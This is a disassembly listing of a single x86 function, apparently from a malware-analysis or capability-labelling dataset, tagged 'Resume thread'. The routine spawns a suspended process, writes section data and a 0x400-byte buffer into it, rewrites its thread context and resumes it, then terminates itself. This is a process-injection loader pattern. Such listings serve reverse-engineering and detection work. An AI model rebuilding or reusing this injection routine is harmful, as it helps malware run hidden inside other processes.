Function at 0x100120b0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002e3b7
mov eax, dword fs:[0]
push eax
sub esp, 0x57c
mov eax, dword [0x1003b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub dword [ebp + 0xc], 1
jne 0x1001272c
call fcn.1000f230
test eax, eax
jne 0x100120f5
call fcn.1000fa40
mov eax, dword [0x1003d5bc]
push 0x40
push 0x3000
push 0x400
push 0
call eax
mov ecx, eax
mov dword [ebp - 0x370], eax
call fcn.10011cc0
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
push 0xa
push str.particular
lea ecx, [ebp - 0x4a8]
movlpd qword [ebp - 0x80], xmm0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
mov dword [ebp - 0x84], 0x44
movq qword [ebp - 0x40], xmm0
mov dword [ebp - 0x38], 0
movups xmmword [ebp - 0x4a8], xmm0
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0
call fcn.1000ede0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x490]
push 3
xorps xmm0, xmm0
mov dword [ebp - 0x480], 0
push 0x10035fd0
movups xmmword [ebp - 0x490], xmm0
mov dword [ebp - 0x47c], 0
call fcn.1000ede0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x478]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x468], 0
push str.election
movups xmmword [ebp - 0x478], xmm0
mov dword [ebp - 0x464], 0
call fcn.1000ede0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x460]
push 3
xorps xmm0, xmm0
mov dword [ebp - 0x450], 0
push 0x10035fd0
movups xmmword [ebp - 0x460], xmm0
mov dword [ebp - 0x44c], 0
call fcn.1000ede0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x448]
push 4
xorps xmm0, xmm0
mov dword [ebp - 0x438], 0
push str.hour
movups xmmword [ebp - 0x448], xmm0
mov dword [ebp - 0x434], 0
call fcn.1000ede0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x430]
push 4
xorps xmm0, xmm0
mov dword [ebp - 0x420], 0
push str.that
movups xmmword [ebp - 0x430], xmm0
mov dword [ebp - 0x41c], 0
call fcn.1000ede0
mov byte [ebp - 4], 5
push 3
xorps xmm0, xmm0
mov dword [ebp - 0x408], 0
push 0x100361a4
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x404], 0
movups xmmword [ebp - 0x418], xmm0
call fcn.1000ede0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x400]
push 3
xorps xmm0, xmm0
mov dword [ebp - 0x3f0], 0
push 0x10036210
movups xmmword [ebp - 0x400], xmm0
mov dword [ebp - 0x3ec], 0
call fcn.1000ede0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x3e8]
push 6
xorps xmm0, xmm0
mov dword [ebp - 0x3d8], 0
push str.likely
movups xmmword [ebp - 0x3e8], xmm0
mov dword [ebp - 0x3d4], 0
call fcn.1000ede0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x3d0]
push 3
xorps xmm0, xmm0
mov dword [ebp - 0x3c0], 0
push 0x10035fe0
movups xmmword [ebp - 0x3d0], xmm0
mov dword [ebp - 0x3bc], 0
call fcn.1000ede0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x3b8]
push 4
xorps xmm0, xmm0
mov dword [ebp - 0x3a8], 0
push str.when
movups xmmword [ebp - 0x3b8], xmm0
mov dword [ebp - 0x3a4], 0
call fcn.1000ede0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3a0]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x390], 0
push str.nocannocan
movups xmmword [ebp - 0x3a0], xmm0
mov dword [ebp - 0x38c], 0
call fcn.1000ede0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x388]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x378], 0
push str.Congress
movups xmmword [ebp - 0x388], xmm0
mov dword [ebp - 0x374], 0
call fcn.1000ede0
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 4], 0xc
push ecx
lea eax, [ebp - 0x370]
push eax
push ecx
lea ecx, [ebp - 0x40]
call fcn.1000eed0
mov byte [ebp - 4], 0xe
push fcn.10012b90
push 0xd
push 0x18
lea eax, [ebp - 0x4a8]
push eax
call fcn.10013a20
sub esp, 0xc
lea eax, [ebp - 0x40]
mov ecx, esp
lea esi, [ebp - 0x20]
push eax
call fcn.10012910
mov ecx, esi
call fcn.1000f9a0
add esp, 0xc
mov eax, dword [0x1003d5d4]
lea ecx, [ebp - 0x360]
push ecx
lea ecx, [ebp - 0x84]
push ecx
push 0
push 0
push 0x214
push 0
push 0
push 0
mov ecx, esi
push ecx
push 0
call eax
test eax, eax
je 0x10012713
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x364], eax
call fcn.1000f210
push 4
mov ecx, 0x38
mov dword [ebp - 0x24], eax
lea edi, [ebp - 0x588]
lea esi, [eax + 0x18]
add esi, dword [eax + 0x3c]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x550]
mov ecx, dword [0x1003d5bc]
push 0x1000
push esi
push 0
call ecx
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x30]
push ecx
push esi
push eax
push edi
push dword [ebp - 0x364]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x30], 0
call dword [0x1003d5c8]
mov edx, dword [edi + 0x3c]
xor eax, eax
add edx, edi
mov dword [ebp - 0x24], eax
xor ecx, ecx
mov dword [ebp - 0x2c], edx
cmp cx, word [edx + 6]
jae 0x1001259b
nop dword [eax]
movzx eax, ax
lea ecx, [eax + eax*4]
movzx eax, word [edx + 0x14]
add eax, edx
lea esi, [eax + ecx*8]
mov ecx, str..text
lea eax, [esi + 0x18]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10012537
test dl, dl
je 0x10012533
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10012537
add eax, 2
add ecx, 2
test dl, dl
jne 0x10012517
xor eax, eax
jmp 0x1001253c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10012587
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
mov eax, dword [esi + 0x24]
push 0x40
push dword [esi + 0x20]
add eax, edi
push eax
call dword [0x1003d5c0]
mov ecx, dword [esi + 0x24]
push dword [esi + 0x20]
mov eax, dword [ebp - 0x368]
add eax, ecx
push eax
lea eax, [ecx + edi]
push eax
call fcn.100178b0
mov eax, dword [esi + 0x24]
add esp, 0xc
add eax, edi
push 0
push dword [ebp - 0x28]
push dword [esi + 0x20]
push eax
call dword [0x1003d5c0]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x24], eax
cmp ax, word [edx + 6]
jb 0x10012500
push dword [ebp - 0x35c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [edi + 0x3c]
xor eax, eax
add edx, edi
mov dword [ebp - 0x2c], 0
xor ecx, ecx
mov dword [ebp - 0x36c], edx
mov dword [ebp - 0x28], eax
cmp cx, word [edx + 6]
jae 0x10012682
nop word [eax + eax]
movzx eax, ax
lea ecx, [eax + eax*4]
movzx eax, word [edx + 0x14]
add eax, edx
lea esi, [eax + ecx*8]
mov eax, str..text
lea ecx, [esi + 0x18]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10012607
test dl, dl
je 0x10012603
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10012607
add ecx, 2
add eax, 2
test dl, dl
jne 0x100125e7
xor eax, eax
jmp 0x1001260c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1001266b
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, dword [esi + 0x24]
push 0x40
push dword [esi + 0x20]
add eax, edi
push eax
push dword [ebp - 0x364]
call dword [0x1003d5cc]
mov ecx, dword [esi + 0x24]
lea eax, [ebp - 0x2c]
push eax
push dword [esi + 0x20]
mov eax, dword [ebp - 0x368]
add eax, ecx
push eax
lea eax, [edi + ecx]
push eax
push dword [ebp - 0x364]
call dword [0x1003d5c8]
mov eax, dword [esi + 0x24]
push 0
push dword [ebp - 0x24]
add eax, edi
push dword [esi + 0x20]
push eax
push dword [ebp - 0x364]
call dword [0x1003d5cc]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x28], eax
cmp ax, word [edx + 6]
jb 0x100125d0
lea eax, [ebp - 0x350]
mov dword [ebp - 0x350], 0x10003
push eax
push dword [ebp - 0x35c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [0x1003d5d8]
push 0x40
push 0x1000
push 0x400
push 0
push dword [ebp - 0x360]
call eax
mov esi, eax
lea eax, [ebp - 0x34]
push eax
push 0x400
push dword [ebp - 0x370]
push esi
push dword [ebp - 0x360]
call dword [0x1003d5dc]
lea eax, [ebp - 0x350]
mov dword [ebp - 0x298], esi
push eax
push dword [ebp - 0x35c]
call dword [0x1003d5d0]
push dword [ebp - 0x35c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x35c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x360]
call esi
mov esi, dword [0x1003d5c4]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
lea ecx, [ebp - 0x40]
call fcn.10012880
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10013902
mov esp, ebp
pop ebp
ret 0xc